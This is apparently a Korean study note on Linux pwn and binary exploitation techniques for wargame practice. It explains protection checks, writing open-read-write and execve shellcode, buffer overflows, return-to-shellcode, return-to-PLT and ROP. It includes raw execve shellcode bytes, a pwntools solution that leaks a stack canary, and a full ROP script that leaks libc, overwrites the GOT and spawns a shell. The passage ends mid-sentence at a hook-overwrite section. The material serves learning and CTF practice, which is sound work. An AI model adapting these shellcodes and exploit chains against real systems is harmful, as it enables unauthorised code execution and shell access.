Exploit
pwntool
의checksec
명령어로 어떤 보안이 적용되었는지 확인 가능하다.
Shell Code
- exploit은 파일 읽고 쓰기(open-read-write, orw), 셸 명령 실행(execve) 권한을 취득하는 것을 목표로 한다.
- Shell 권한을 획득하기 위한 어셈블리 코드들의 모음을 ‘Shell Code’ 라 칭한다.
환경세팅
취약점 공격 순서
- 바이너리를 분석하여 보호기법을 확인한다.
checksec
명령어를 사용하여 바이너리에 적용된 보호기법을 확인하고, 적용 불가능한 exploit 기법을 추려낸다.ldd
명령을 활용하여 의존성 관계를 확인한다.
- 코드를 확인하여 취약점 및 구조(stack 형태)을 파악한다
stack은 함수에서 선언된 순서대로 할당되지 않음에 주의하며, 무조건 assembly어를 통해 stack 주소에서 특정 변수의 위치를 확인하도록 한다.
readelf -h
ELF 파일의 헤더 확인readelf -s
ELF 파일 내부 symbol 정보들을 출력- 함수 주소, 이름 및 속성들을 확인할 수 있다.
readelf -S
ELF 파일 내부 Section 정보들을 출력objdump -h
명령과 동일한 결과를 출력- section의 크기, VMA(Virtual Memory Address), LMA(Load Memory Address), file offset 등의 정보를 확인할 수 있다.
objdump -S FILE_NAME
: object file을 어셈블리 형태로 주소별로 출력objdump -h FILE_NAME
: object file의 section 헤더정보를 확인objdump -d FILE_NAME
: object file 내용을 어셈블리어 형태로 출력한다.objdump --disassemble=main
: main 함수 disassemble 확인gdb
실행 이후disass main
으로도 확인 가능
함수의 인자와 레지스터
- 함수의 인자는 순서대로 rdi, rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10], [rsp+0x18], [rsp+0x20] … 값을 가져와서 사용한다.
- 프로그램을 실행시키며 취약점 공략 및 쉘 권한 탈취
자주 쓰는 구문
[pwntool] libc_base 주소 획득
libc = ELF('./libc.so.6') libc.symbols['_IO_2_1_stdout_'] # 라이브러리에서 'stdout' 의 상대위치 획득 libc.symbols['_IO_file_jumps'] # 라이브러리에서 '_IO_jump_t' 구조체 정의 위치 획득
[linux] 라이브러리 참조 경로 설정
export LD_PRELOAD=$(realpath ./libc.so.6)
[SYSV 규약의 특징]
- 함수 호출시 사용되는 인자는 레지스터에
rdi
,rsi
,rdx
,rcx
,r8
,r9
순서대로 적용된다. 6개를 넘어서는 인자는 stack 에 쌓인다.
- 함수 호출시 사용되는 인자는 레지스터에
[assembly 구문]
- 64비트 환경에서 쉘 실행 구문(31byte) :
\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05
- 64비트 환경에서 쉘 실행 구문(23byte) :
\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05
- 64비트 환경에서 쉘 실행 구문(31byte) :
취약점 및 공략
ORW
- 파일을 열고 읽고 쓸 수 있도록 하는 shell code를 ‘ORW shell code’ 라 칭한다.
- 시스템 콜들은 rax, rdi, rsi, rdx로 이루어 져 있음을 참고하여 shell code를 작성해 보자.
- rax : 시스템 콜에 대응되는 번호
- rdi : 시스템 콜의 첫번째 인자
- rsi : 시스템 콜의 두번째 인자
- rdx : 시스템 콜의 세번째 인자
open
- 리눅스에서 open 명령은
open('FILE_PATH', flag, mode)
형태이다. - 이를 어셈블리어로 분리하여 표현하면
- ‘FILE_PATH’ 을 stack에 담는다.
- 이때, stack에는 데이터가 8byte씩 올라가기 때문에 8byte 단위로 string을 끊어서 push한다.
- ex) “1234567890” 을 stack에 담을 때 “09” “87654321” 순으로 데이터를 push해야 한다.
- rsp를 rdi로 옮겨 rdi(첫번째 인자)가 ‘FILE_PATH’를 가리키도록 한다.
- 두 번째와 세 번째 인자에 맞게 각각 rsi와 rdx를 설정한다.
- open은 시스템 콜 번호 2에 해당하므로 rax를 2로 설정한다.
- ‘FILE_PATH’ 을 stack에 담는다.
- ex) open (“1234567890”, O_RDONLY, NULL) 은 아래 어셈블리어로 치환된다.
push 0x3039 mov rax, 0x3837363534333231 ; to push 8byte push rax mov rdi, rsp ; (1) rdi = "1234567890" xor rsi, rsi ; (3) rsi = 0 ; O_RDONLY xor rdx, rdx ; (3) rdx = 0 ; NULL mov rax, 2 ; (4) rax = 2 ; syscall_open syscall ; open("1234567890", O_RDONLY, NULL)
- 리눅스에서 open 명령은
read
- read 명령은
read(FILE_DESCRIPTOR, buf, size)
형태이다. - read 명령을 어셈블리어로 표현하면
- open을 통해 열린 파일의 file descriptor는
rax
영역에 저장되므로,rax
값을rdi
에 대입한다. - 데이터를 저장할 길이를 고려하여
rsi
에 값을 대입한다. size가 10이라면rsp-10
값을 대입한다. rdx
에 size 값을 대입한다.rax
에 read에 해당하는 0 값을 대입한다.
- open을 통해 열린 파일의 file descriptor는
- ex) read(fd, buf, 10) 은 아래 어셈블리어로 표현된다.
mov rdi, rax ; (1) fd값을 rdi에 대입 mov rsi, rsp sub rsi, 0x0A ; (2) rsi = rsp-10 ; buf mov rdx, 0x0A ; (3) rdx = 0x0A ; length mov rax, 0x0 ; (4) rax = 0 ; syscall_read syscall ; read(fd, buf, 0x0A)
- read 명령은
write
- write 명령은
write(FILE_DESCRIPTOR, buf, size)
형태이다. - write 명령을 어셈블리어로 표현하면
rdi
에 FILE_DESCRIPTOR 값을 대입한다. stdout으로 출력을 하려면 0x01을 적용한다.rsi
와rdx
는 read 에서 사용한 값과 동일한 값을 적용한다.- write 에 해당하는 시스템콜 번호 1을
rax
에 대입한다.
- ex) write(fd, buf, 10) 은 아래 어셈블리어로 표현된다.
mov rdi, 1 ; (1) rdi = 1 ; fd = stdout ; rsi rdx 값은 read와 동일한 값 사용, 별도 설정 안함 mov rax, 0x1 ; (3) rax = 1 ; syscall_write syscall ; write(fd, buf, 0x0A)
- write 명령은
- shell code는 어셈블리 형태이므로 기계어로 컴파일 해서 사용 가능하지만, 실행될 기기의 os, cpu에 따라 다른 방법을 사용해야 한다.
- shell code를 동작시키기 위해 skeleton code에 shell code를 삽입하여 컴파일 하는 방법을 사용할 수 있다.
- skeleton code란, 아무런 동작도 하지 않는 어셈블리어로 작성된 코드로, 컴파일이 가능하다.
- 마치 C언어에서
void main(void) { return 0 }
를 컴파일 하는 것과 같다. - C언어로 작성된 skeleton code의 예시는 아래와 같다.
// 어셈블리어로 작성한 'assem_code' 함수를 실행시키는 파일 __asm__( ".global assem_code\n" "assem_code:\n" # 여기에 원하는 assembly code를 집어넣는다. # 어셈블리 코드는 라인마다 마지막에 '\n' 가 붙어야 함에 주의한다. "xor rdi, rdi # rdi = 0\n" "mov rax, 0x3c # rax = sys_exit\n" "syscall # exit(0)" ); void assem_code(); int main() { assem_code(); }
execve
- execve() 는 Linux kernel 레벨의 함수로, 특정 프로그램을 실행시키는 함수이다.
execve("/bin/bash", NULL, NULL)
을 실행할 수 있게 되면 쉘을 실행할 수 있는 권한을 얻은 것이다.- execve는
execve(FILE_NAME, argv, envp)
형태로 실행되며, FILE_NAME은 실행할 프로그램 경로, argv는 인자, envp는 환경변수에 해당한다. - execve를 어셈블리어로 표현하면
- 스택에 ‘/bin/bash’ 를 넣고
rdi
에 그 주소를 대입한다. rsi
와rdx
는 NULL이므로 0을 대입한다.- execve는 시스템콜 번호 0x3B에 해당하므로
rax
는 0x3B가 적용된다.
push 0x68 mov rax, 0x7361622f6e69622f push rax mov rdi, rsp ; (1) rdi = "/bin/bash" xor rsi, rsi ; (2) rsi = NULL xor rdx, rdx ; (2) rdx = NULL mov rax, 0x3b ; (3) rax = execve syscall ; execve("/bin/bash", null, null)
- 스택에 ‘/bin/bash’ 를 넣고
buffer overflow
- 프로그램에 입력을 위해 지정된 버퍼를 초과하여 입력값을 집어넣어 버퍼 다음에 할당된 메모리의 값을 덮어쓰는 행위
scanf("%s",buf)
는 입력값의 갯수 제한이 없기 때문에 buffer overflow에 취약하므로 절대 사용하면 안되는 형태 중 하나이다.- scanf와 유사하게 strcpy, strcat, sprintf 도 길이에 제약이 없는 함수로, 대신 strncpy, strncat, snprintf, fgets, memcpy 를 사용하는것이 권장된다.
- C 계열 언어에서 문자열(string)을 처리할 때 문자열의 종결을 null(’\0’) 문자로 판단하는데, 문자열 끝에 null이 존재하지 않는 경우 문자열보다 더 뒷편의 주소를 참조하게 될 수 있고, 이를 OOB(out of boundary) 취약점이라 한다.
ROP(Return Oriented Programming)
- gadget 이란 어셈블리어에서 ret 명령어 앞에 오는 코드 조각으로, 코드의 실행을 제어한다.
- gadget 을 사용하여 함수의 호출 혹은 인자를 조작하는 공격 방식을 ROP라 한다.
- payload를 return gadget(리턴 가젯) 으로 채워지기에
ROP chain
이라고도 한다.
Return to Shellcode
- buffer overflow를 통해 버퍼에 shell 함수 실행 코드를 삽입하고 STL 에서 return 주소를 해당 버퍼의 주소로 치환하여 shell code를 실행하는 해킹 기법
- 문제 풀이 예시
from pwn import * def slog(n, m): return success(': '.join([n, hex(m)])) p = process('./r2s') #p = remote("host3.dreamhack.games", "11171") context.arch = 'amd64' # [1] Get information about buf p.recvuntil(b'Address of the buf: ') buf = int(p.recvline()[:-1], 16) # remote '\n' slog('Address of buf', buf) p.recvuntil(b'buf and $rbp: ') buf2sfp = int(p.recvline().split()[0]) # another way to remove '\n' buffer_to_canary = buf2sfp - 8 # canary is in rbp+8, so buf + buffer_to_canary - 8 is address of canary slog('buf <=> sfp', buf2sfp) slog('buf <=> canary', buffer_to_canary) # [2] Leak canary value payload = b'A'*(buffer_to_canary + 1) # (+1) because of the first null-byte p.sendafter(b'Input:', payload) p.recvuntil(payload) canary = b'\x00'+p.recvn(7) slog('Canary', u64(canary)) # [3] Exploit shell_code = asm(shellcraft.sh()) print('Length of Shell Code:' , len(shell_code)) payload = shell_code.ljust(buffer_to_canary, b'A') + canary + b'B' * 0x8 + p64(buf) # 버퍼에 쉘 코드를 넣고, 남는 공백은 아무 문자로 메꾼다. 그 후 카나리를 잘 덮고 SFP는 아무 숫자나 채워넣고 리턴 주소를 버퍼 주소로 덮어씀 # gets() receives input until '\n' is received p.sendlineafter(b'Input:', payload) p.interactive()
RTL (Return To Library)
- NX를 통해 특정 버퍼의 실행을 막자 library의 코드를 실행시켜서 쉘 권한을 얻는 방식의 해킹 기법
- 리눅스의
libc
라이브러리의system
,execve
함수를 실행시키는 것이 대표적이다.
Return to PLT
- ASLR 기법이 적용되어도 PLT의 주소는 고정되어 있음을 이용한 공격 방법 으로, PIE 기법을 적용하면 Return to PLT 공격을 예방할 수 있다.
- system 함수가 호출되고, canary가 유출되는 코드라면 아래 절차로 쉘을 실행시킬 수 있다.
system()
이 호출 될 때 rdi 를 반환하는 위치를 찾는다. rdi 값을 “/bin/sh"로 설정하게 된다면 system("/bin/sh”), 즉 쉘을 실행하게 되는 것이다.
- ROPgadget 을 사용하여
pop rdi
구문의 주소를 찾는다. (여러 개 있다면 이중 system() 함수의 위치를 특정해야 한다.) ROPgadget --binary BINARY_FILE_PATH --re pop rdi
를 입력하면 BINARY_FILE_PATH 경로의 바이너리에서 ‘pop rdi’ 구문이 들어있는 gadget들을 출력한다.
/bin/sh
문자열이 저장된 주소를 확인한다.
- gdb로 바이너리를 실행시킨 후
search /bin/sh
명령으로 확인 가능하다.
system
함수의 PLT 주소를 확인한다.
- gdb로 바이너리를 실행시킨 후
plt
명령으로system@plt
값의 주소를 확인한다. (info func system@plt
명령도 가능)
- 리턴 가젯의 주소를 확인한다.
ROPgadget --binary BINARY_FILE_PATH --re ret
명령중 ret 가 단독으로 있는 라인(리턴 가젯)의 주소를 확인한다.system()
함수는 내부에서 movaps 함수를 사용하는데, x64 환경에서 이 함수는 스택에서 값을 읽어올 때 16바이트로 정렬되는지 확인하고, 16바이트로 묶어지지 않는다면 exception을 발생시켜 segment fault을 유발한다.- 이를 ‘리턴 가젯’을 스택에 집어넣어 8바이트를 추가하여 16바이트를 맞춘다.
- exploit을 활용해 A 주소번지를 스택프레임에 return code 영역에 넣으려 할 때, 아래와 같이 return code 자리에 직접 A 주소를 집어넣어도 되지만,
canary ---------- rbp SFP ---------- rbp + 0x8 return code <-- A 주소 주입 ---------- rbp + 0x10
- 아래 그림과 같이 return code 자리에 리턴 가젯을 주입해도 된다.
canary ---------- rbp SFP ---------- rbp + 0x8 return code <-- 리턴 가젯 주입 ---------- rbp + 0x10 ??????? <-- A 주소 주입
- 리턴가젯
ret
는pop rip; jmp rip
와 같은 효과이고, 이는 결국 rbp + 0x10 위치에 있는 A 주소를 실행하게 되어 첫번째 코드와 동작성은 같다. - 다만, return code 자리보다 8byte 아래쪽 주소를 사용하게 된다.
- exploit을 활용해 A 주소번지를 스택프레임에 return code 영역에 넣으려 할 때, 아래와 같이 return code 자리에 직접 A 주소를 집어넣어도 되지만,
- MOVAPS 관련 참조 페이지
- buffer overflow를 활용해
canary
를 복구하고, SFP를 아무 값으로 채운다. return code
리턴 가젯으로 채워 rbp+0x10의 주소에 있는 코드가 실행되도록 한다. (system 함수의 movaps 에 대응하기 위함)- rbp + 0x10 주소를
pop rdi
가젯으로 채우고, (2)에서 찾은/bin/sh
주소를 집어넣고, (3) 에서 찾은system
함수의 plt 주소를 그 다음에 집어넣는다.
- 여기까지 수행하면 스택은 다음과 같다.
canary ---------- rbp SFP <-- 랜덤값 주입 ---------- rbp + 0x8 return code <-- 리턴 가젯 주입 ---------- rbp + 0x10 ??????? <-- pop rdi 가젯 주입 ---------- rbp + 0x18 ??????? <-- "/bin/sh" string 주소 주입 ---------- rbp + 0x20 ??????? <-- system() 함수 plt 주소 주입 ```
Return Oriented Programming
- 앞서 살펴본
Return to ~
공격은 일부 방어 기법이 빠져있을 때 사용할 수 있었다. - 카나리, NX, ASLR이 모두 적용되어 있어도, 프로그램에 buffer overflow 취약점을 통해 exploit 을 수행하는 방법을 알아본다.
NX
보호기법 때문에 코드를 직접 버퍼에 작성하고 실행시킬수 없기에 “Return To Library” 에서처럼 라이브러리의system
함수와"/bin/sh"
문자열을 사용하여system("/bin/sh")
를 동작시키는 것을 최종 목표로 한다.
stack canary 주소 확인
printf
,write
,puts
등 버퍼를 출력하는 함수의 버퍼를 overflow 시켜 rbp-0x08 에 위치한 canary를 확인한다.
system() 함수 주소 확인
libc.so.6
에 정의된system
함수의 위치를 확인하기 위해 같은 라이브러리에 포함된read
,puts
,printf
등의 함수가 호출되어GOT
에 저장되었는지 확인한다.- 라이브러리의 함수가 하나라도 호출되었다면, 라이브러리 파일 전체가 로드 되기 때문에
syetem
함수도 메모리에 적재 됨이 보장된다. - PLT/GOT 참조
- ASLR을 통해 라이브러리 파일의 적재 위치를 랜덤화 시켰지만, 라이브러리 파일 내부의 함수 위치는 랜덤화 시키지 못한다.
- 즉,
libc
라이브러리 버전이 같다면 실행된 프로그램의 메모리 상에 로딩된puts
함수의 주소와system
함수의 주소상 거리는 항상 일치한다는 것이다. - 이 점을 이용하여 (1) libc 라이브러리의 시작 주소(libc_base) 와 (2) system 함수의 offset 을 알 수 있다면 system 함수의 호출이 가능하다.
libc 라이브러리의 시작 주소(libc_base) 확인
- got에 로드 된 libc 함수의 주소와 해당 함수의 offset 을 빼면 libc_base 주소를 획득할 수 있다.
- libc_base 는 마지막 바이트가 항상 00 으로 끝나는 특징이 있다.
linux 명령어 + gdb 사용
- 리눅스 쉘에서
ldd /bin/bash
명령을 사용하여 libc 의 경로를 확인한다.- ex)
linux-vdso.so.1 (0x00007ffff8cd0000) libtinfo.so.6 => /lib/x86_64-linux-gnu/libtinfo.so.6 (0x00007f0d65a90000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f0d65a80000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0d65880000) /lib64/ld-linux-x86-64.so.2 (0x00007f0d65c01000)
- 혹은
getconf -a | grep libc
명령어로도 libc 버전을 확인할 수 있다.
- ex)
- 확인된 libc 파일 경로를
readelf
명령어로 분석하여 내부 함수들의 주소를 확인한다.readelf -s /lib/x86_64-linux-gnu/libc.so.6
92: 0000000000083970 448 FUNC WEAK DEFAULT 15 gets@@GLIBC_2.2.5 430: 0000000000084420 476 FUNC WEAK DEFAULT 15 puts@@GLIBC_2.2.5 639: 0000000000061c90 204 FUNC GLOBAL DEFAULT 15 printf@@GLIBC_2.2.5 942: 000000000010e1e0 153 FUNC GLOBAL DEFAULT 15 read@@GLIBC_2.2.5 1430: 0000000000052290 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
- ELF 상 system 함수의 offset이 0x0000000000052290 임을 알수 있다.
gdb
실행 후p system
으로 got 에 저장된 system 함수의 주소를 확인할 수 있다.- ex)
# p system $1 = {int (const char *)} 0x7ffff7e1d290 <__libc_system> # p puts $2 = {int (const char *)} 0x7ffff7e4f420 <__GI__IO_puts>
- ex)
- got 상 주소에서 offset을 빼면 libc_base 주소를 구할 수 있다.
- system 함수: 0x7ffff7e1d290 - 0x0000000000052290 = 0x7FFFF7DCB000
- puts 함수: 0x7ffff7e4f420 - 0x0000000000084420 = 0x7FFFF7DCB000
- libc_base의 주소가 0x7FFFF7DCB000 이며, 어떤 함수를 사용해도 계산 결과가 같은 것을 볼 수 있다.
- 리눅스 쉘에서
pwntool 사용
libc 라이브러리의 ELF를 확인한다.
from pwn import * libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') offset_read = libc.symbols['read']
이제 read 함수의 주소를 확인해야 한다. 하지만 pwntool에서는 read 함수의 주소가 저장된 got 테이블의 주소는 확인할 수 있지만, 그 안에 저장된 값(read 함수의 메모리상 주소)은 확인할 수 없다.
read 함수의 메모리상 주소값을 확인하려면 프로그램에서 got 값을 출력하도록 exploit code를 작성해야 한다.
buffer overflow를 통해
write(1,read_got)
를 호출하면 원하는 값을 출력할 수 있다.rdi(첫번째 인자)를 1, rsi(두번째 인자)를 read_got로 설정하기 위해
return gadget
을 사용한다.ROPgadget --binary PROGRAM_PATH
로 검색 하여pop rsi
와pop rdi
gadget 을 찾는다.0x0000000000400851 : pop rsi ; pop r15 ; ret 0x0000000000400853 : pop rdi ; ret # 검색 결과 pop rdi / pop rsi 구문이 포함된 다른 gadget 이 없으므로 선택지는 없다. # gadget 의 주소는 동일한 프로그램 실행시 항상 일정한 값을 가지므로 미리 추출하여 사용할 수 있다.
exploit 코드를 작성한다.
from pwn import * p = process(PROGRAMA_PATH) e = ELF(PROGRAMA_PATH) # exploit code, 코드상 buffer overflow를 발생시킬 수 있는 구문이 있다고 가정한다. read_plt = e.plt['read'] # read 함수의 plt read_got = e.got['read'] # read 함수의 got write_plt = e.plt['write'] # write 함수의 plt pop_rdi_ret = 0x0000000000400853 # pop rdi; ret 구문의 주소 pop_rsi_pop_r15_ret = 0x0000000000400851 # pop rsi; pop r15; ret 구문의 주소 payload = b'A'*(buffer_length + 8) + canary + b'B'*8 # overwrite buffer_length + 8(canary_dummy) + canary(8) + SFP(8) payload += p64(pop_rdi_ret) + p64(1) # rdi 에 1 을 적용하도록 gadget 배치 payload += p64(pop_rsi_pop_r15_ret) + p64(read_got) + p64(0) # rsi 에 read_got 을 넣고, r15에 0(아무값) 을 넣는다. payload += p64(write_plt) # return 주소를 write_plt 로 변경한다. # write(1,read_got) 가 완성되었다. 결과로 read 함수의 주소를 출력한다.
출력된 값에서 read 함수의 offset (앞서 구한 offset_read) 을 빼면 libc_base 를 구할 수 있다.
- got에 로드 된 libc 함수의 주소와 해당 함수의 offset 을 빼면 libc_base 주소를 획득할 수 있다.
system 함수의 offset 확인
- linux 명령어 사용
readelf -s /lib/x86_64-linux-gnu/libc.so.6
92: 0000000000083970 448 FUNC WEAK DEFAULT 15 gets@@GLIBC_2.2.5 430: 0000000000084420 476 FUNC WEAK DEFAULT 15 puts@@GLIBC_2.2.5 639: 0000000000061c90 204 FUNC GLOBAL DEFAULT 15 printf@@GLIBC_2.2.5 942: 000000000010e1e0 153 FUNC GLOBAL DEFAULT 15 read@@GLIBC_2.2.5 1430: 0000000000052290 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
- system 함수의 offset은
0x0000000000052290
- pwntool 사용
- ELF 함수로 ELF 파일을 읽고 필요한 함수의 symbol을 참조한다.
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') offset_system = libc.symbols['system'] print(offset_system)
- ELF 함수로 ELF 파일을 읽고 필요한 함수의 symbol을 참조한다.
- linux 명령어 사용
- 1,2에서 나온 결과를 종합하여, libc_base 에 system 함수의 offset을 더한 결과가 “실행된 프로그램의 메모리에 적재된 system 함수의 주소” 값이다.
- libc 의 일부 함수의 주소를 입력하면 libc 버전 및 다른 함수의 주소도 확인할 수 있는 사이트가 있다.
“/bin/sh” 문자열의 위치를 찾는다. (생략 가능)
- “/bin/sh” 문자열을 lib.so.6 파일에서 찾을 수 있지만, writing 가능한 버퍼에 직접 문자열을 입력하는 방법도 있다. 후자의 경우 굳이 “/bin/sh” 를 찾을 필요가 없다.
- libc.so.6 에 포함된 “/bin/sh” 문자열의 주소를 찾으려면, system() 함수의 주소를 찾을 때와 마찬가지로
/bin/sh
문자열의 offset 에 libc_base 주소를 더하여 참조할 수 있다.
gdb 사용
gdb
를 사용하면 offset이 아닌 실제 주소를 확인할 수 있다.search /bin/sh
명령으로 /bin/sh 의 “메모리상 주소” 가 출력된다.- ex)
pwndbg> search /bin/sh Searching for value: '/bin/sh' libc-2.31.so 0x7ffff7f7f5bd 0x68732f6e69622f /* '/bin/sh' */ # /bin/sh 의 주소(0x7ffff7f7f5bd) 에서 libc_base 를 뺀 값이 /bin/sh 의 offset이 된다.
- ex)
linux 명령어 사용
- linux의
strings
명령을 이용한다. strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
명령 결과1b45bd /bin/sh
가 확인된다.
- linux의
pwntool 사용
- ELF 파일을 분석하여 나온 결과에 libc_base 를 더하면 실제 메모리 주소가 나온다.
- ex)
from pwn import * libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # /bin/sh offset 확인 bin_sh1 = list(libc.search(b'/bin/sh'))[0] # 방법1 bin_sh2 = next(libc.search(b'/bin/sh')) # 방법2 # -> /bin/sh/ 의 메모리상 주소 == libc_base + bin_sh1 이다.
system("/bin/bash") 를 작성한다.
- read 함수의 got 에 system 함수의 주소를 넣으면, 코드상 read("/bin/bash") 가 실제로는 system("/bin/bash") 로 동작하게 된다.
- 이를 이용해 got 영역을 조작하여 system 함수를 호출한다.
- pwntool 사용
- 리눅스에서
ROPgadget --binary rop
명령으로 바이너리를 분석하면, return gadget 들이 확인된다. 이중 rdi, rsi 가 포함된 gadget들을 확인한다. (이하 rdi_ret, rsi_ret) - rdi_ret, rsi_ret 을 활용하여 rdi() 와 rsi 값을 알맞게 설정 해 주고, 원하는 함수를 호출한다..
- gadget들은 특정 함수를 호출하는 것이 아니기 때문에 동일한 stack frame 안에서 호출되므로 canary 를 세팅 해 줄 필요는 없다.
- 코드상으로는 다음과 같다.
# (2) 에서 libc_base 를 알아내기 위해 buffer overflow 로 read 함수의 got 영역을 출력하도록 payload를 작성했다. # 여기에 system("/bin/sh") 를 호출하기 위한 코드를 이어서 작성한다. # read_got 에 system 함수의 주소를 덮어쓰기 위해 read 함수를 한 번 더 호출한다. # read(0, read_got, arg3) 를 호출하여 입력을 한 번 더 받도록 한다. # arg3, 즉 rdx 에 6 이상의 값이 들어가야 하지만, ROPgadget 명령으로 확인 결과 rdx 가 포함된 gadget이 없다면 운에 맡기고 호출한다. payload += p64(pop_rdi_ret) + p64(0) # rdi 에 0 값 적용 payload += p64(pop_rsi_pop_r15_ret) + p64(read_got) + p64(0) # rsi 에 read_got 주소 적용, r15 pop을 위한 더미값 0 적용 # read 함수의 plt 를 호출하면 system 함수가 호출되도록 got를 변경한다. # e = ELF(PROGRAM_PATH) # read_plt = e.plt['read'] payload += p64(read_plt) # read 함수 호출 # read의 got를 system으로 변경하게 되면, read("/bin/bash") 를 호출한 결과는 system("/bin/bash") 가 된다. payload += p64(pop_rdi_ret) + p64(addr_bin_sh) payload += p64(read_plt)
- 리눅스에서
- 정리하자면 아래와 같다.
- 전제조건 :
- buffer overflow 2회 이상
- 바이너리 보유
- 순서:
- canary 획득
- exploit 용 payload 작성
- 바이너리를
ROPgadget --binary rop
로 분석하여 return gadget 추출 write(1, read_got, ?)
함수를 return gadget 으로 작성하여 read 함수(다른 함수도 가능) 의 got 주소 출력 유도read(0, read_got, ?)
함수를 return gadget 으로 작성하여 read 함수의 got 영역 값 덮어쓰도록 하기read(read_got + 8)
함수를 호출. read 함수의 got 를 system 함수의 주소로 변경하고,read_got + 8
에"/bin/sh"
를 넣을 예정이기 때문에, 이 구문은system("/bin/sh")
가 될 예정
- payload를 프로그램에 전달하여 출력된 read 함수의 주소를 획득, 획득한 주소에서 read 함수의 offset 을 빼서 libc_base 계산
- libc_base 에 system 함수의 offset 을 더해서 system 함수의 주소 계산
- system 함수의 주소(8byte) + “/bin/sh”(8byte) 의 payload 를 작성하여 프로그램에 전달
- 앞서 작성한
read(0, read_got, ?)
함수에서 이를 수신함
- 그 결과 프로그램에서
read(read_got + 8)
는system("/bin/sh")
로 변경되고, 쉘 권한을 획득하게 됨
- 전제조건 :
- 전체 코드는 다음과 같다.
from pwn import *
##########
# RUN PROGRAM
##########
p = process(PROGRAM_PATH)
e = ELF(PROGRAM_PATH)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 특정 libc 파일을 적용하고 싶을 때
# p = process('PROGRAM_PATH', env= {"LD_PRELOAD" : "./libc.so.6"})
# libc = ELF('./libc.so.6')
buffer_length = 0x30 # exploit 할 코드에 따라 변경 필요
##########
# LEAK CANARY
##########
payload = b'A'*(buffer_length + 8 + 1) # overwrite buffer_length + 8(other local variable) + 1(canary_first 1 byte null)
# p.sendafter(b'Buf: ', payload)
p.send(payload)
p.recvuntil(payload)
canary = b'\x00' + p.recvn(7)
print('canary:',hex(u64(canary)))
##########
# LEAK ADDRESS OF LIBC FUNC
##########
read_got = e.got['read'] # read 함수의 got
read_plt = e.plt['read'] # read 함수의 plt
write_plt = e.plt['write'] # write 함수의 plt
pop_rdi_ret = 0x0000000000400853 # pop rdi; ret 구문의 주소
pop_rsi_pop_r15_ret = 0x0000000000400851 # pop rsi; pop r15; ret 구문의 주소
ret = 0x0000000000400596 # ret 구문의 주소, 리턴 가젯
payload = b'A'*(buffer_length + 8) + canary + b'B'*8 # overwrite buffer_length + 8(other local variable) + canary(8) + SFP(8)
payload += p64(pop_rdi_ret) + p64(1) # rdi 에 1 을 적용하도록 gadget 배치
payload += p64(pop_rsi_pop_r15_ret) + p64(read_got) + p64(0) # rsi 에 read_got 을 넣고, r15에 0(아무값) 을 넣는다.
payload += p64(write_plt) # return 주소를 write_plt 로 변경한다.
# write(1,read_got) 가 완성되었다. payload를 프로그램에 넘기면 read 함수의 주소를 출력하게 된다.
##########
# CHANGE GOT OF READ INTO ADDR OF SYSTEM
##########
# 앞서 libc_base를 알아내기 위해 buffer overflow로 read 함수의 got 영역을 출력하도록 payload를 작성했다.
# payload에 system("/bin/sh") 를 호출하기 위한 코드를 이어서 작성한다.
# read_got 에 system 함수의 주소를 덮어쓰기 위해 read 함수를 한 번 더 호출한다.
# read(0, read_got, arg3) 를 호출하여 입력을 한 번 더 받도록 한다.
# arg3, 즉 rdx 에 6 이상의 값이 들어가야 하지만, ROPgadget 명령으로 확인 결과 rdx 가 포함된 gadget이 없다면 운에 맡기고 호출한다.
payload += p64(pop_rdi_ret) + p64(0) # rdi 에 0 값 적용
payload += p64(pop_rsi_pop_r15_ret) + p64(read_got) + p64(0) # rsi 에 read_got 주소 적용, r15 pop을 위한 더미값 0 적용
# read 함수의 plt 를 호출하면 system 함수가 호출되도록 got를 변경한다.
payload += p64(read_plt) # read 함수 호출
# 참조
offset_bin_sh = next(libc.search(b'/bin/sh')) # libc에 위치한 "/bin/sh" 문자열의 위치를 추출할 수 있다.
print('offset /bin/sh:', hex(offset_bin_sh))
##########
# CALL read("/bin/bash")
##########
# read의 got를 system으로 변경하게 되면, read("/bin/bash") 를 호출한 결과는 system("/bin/bash") 가 된다.
payload += p64(pop_rdi_ret) + p64(read_got + 0x08) # "/bin/bash" 문자열을 libc에서 사용하지 않고 got 영역에 덮어써서 사용하겠다.
payload += p64(ret) # system() 함수 내부의 movaps 가 스택의 데이터를 16바이트로 정렬하므로, 16바이트 짝을 맞추기 위해 리턴가젯 사용
payload += p64(read_plt)
# payload 보내게 되면 (1) read 함수 주소 출력, (2) stdin 입력 대기, 입력된 값으로 read_got 덮어씀, (3) system('/bin/sh') 실행
p.sendafter(b'Buf: ', payload)
addr_read = p.recvn(6).ljust(8,b'\x00') # ASLR이 적용되면 라이브러리 함수의 주소는 항상 0x00007f 로 시작하므로 0x00 0x00 + 6자리로 구성된다.
print('addr read:', hex(u64(addr_read)))
##########
# CALC LIBC_BASE ADDR
##########
# 유출된 read 함수의 주소로 libc_base 가 메모리상에 위치하는 주소를 계산한다.
offset_read = libc.symbols['read']
libc_base = u64(addr_read) - offset_read
print('libc_base:', hex(libc_base))
##########
# CALC ADDR OF SYSTEM
##########
offset_system = libc.symbols['system']
addr_system = libc_base + offset_system
print('addr system:', hex(addr_system))
p.send(p64(addr_system) + b"/bin/sh\x00")
p.interactive()
Hook Overwrite
- Hooking 이란 운영 체제가 특정 코드를 실행하려 할 때 다른 코드가 강제로 실행되도록 하는 기능이며, 이때 실행되는 코드를
Hook
이라 한다. - 시스템 상 정의되어 있는 Hook 을 원하는 형태로 덮어써서 수행하는 공격을
Hook Overwrite
라 한다. - libc.so 파일의 malloc 관련 함수들에 디버깅 편의를 위해 hook 이 미리 설정되어 있다.
__libc_malloc
함수를 살펴보면__malloc_hook
